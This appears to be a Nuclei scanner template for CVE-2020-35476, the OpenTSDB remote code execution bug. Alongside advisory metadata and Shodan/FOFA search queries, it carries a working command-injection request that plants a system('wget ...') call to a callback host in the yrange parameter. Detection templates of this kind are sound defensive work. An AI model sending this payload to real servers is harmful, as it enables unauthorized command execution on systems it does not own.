57 lines
2.1 KiB
YAML
57 lines
2.1 KiB
YAML
id: CVE-2020-35476
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info:
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name: OpenTSDB <=2.4.0 - Remote Code Execution
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author: pikpikcu
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severity: critical
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description: |
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OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
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remediation: |
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Upgrade OpenTSDB to a version higher than 2.4.0 to mitigate this vulnerability.
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reference:
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- https://github.com/OpenTSDB/opentsdb/issues/2051
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- http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-35476
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-35476
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cwe-id: CWE-78
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epss-score: 0.95741
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epss-percentile: 0.99293
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cpe: cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: opentsdb
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product: opentsdb
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shodan-query: html:"OpenTSDB"
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fofa-query: body="opentsdb"
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tags: cve,cve2020,opentsdb,rce,packetstorm
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http:
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- method: GET
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path:
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- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- plotted
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- timing
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- cachehit
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condition: and
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- type: word
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part: header
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words:
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- application/json
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100f30e703a1e893ff7bfaa5878aa52127a107b8cca0b273efd668e19ad5510f28f022100c88a15ae1f91f2812f6b2533dfe5e1d2fe4589a54cb4e571b2be499397edb364:922c64590222798bb761d5b6d8e72950 |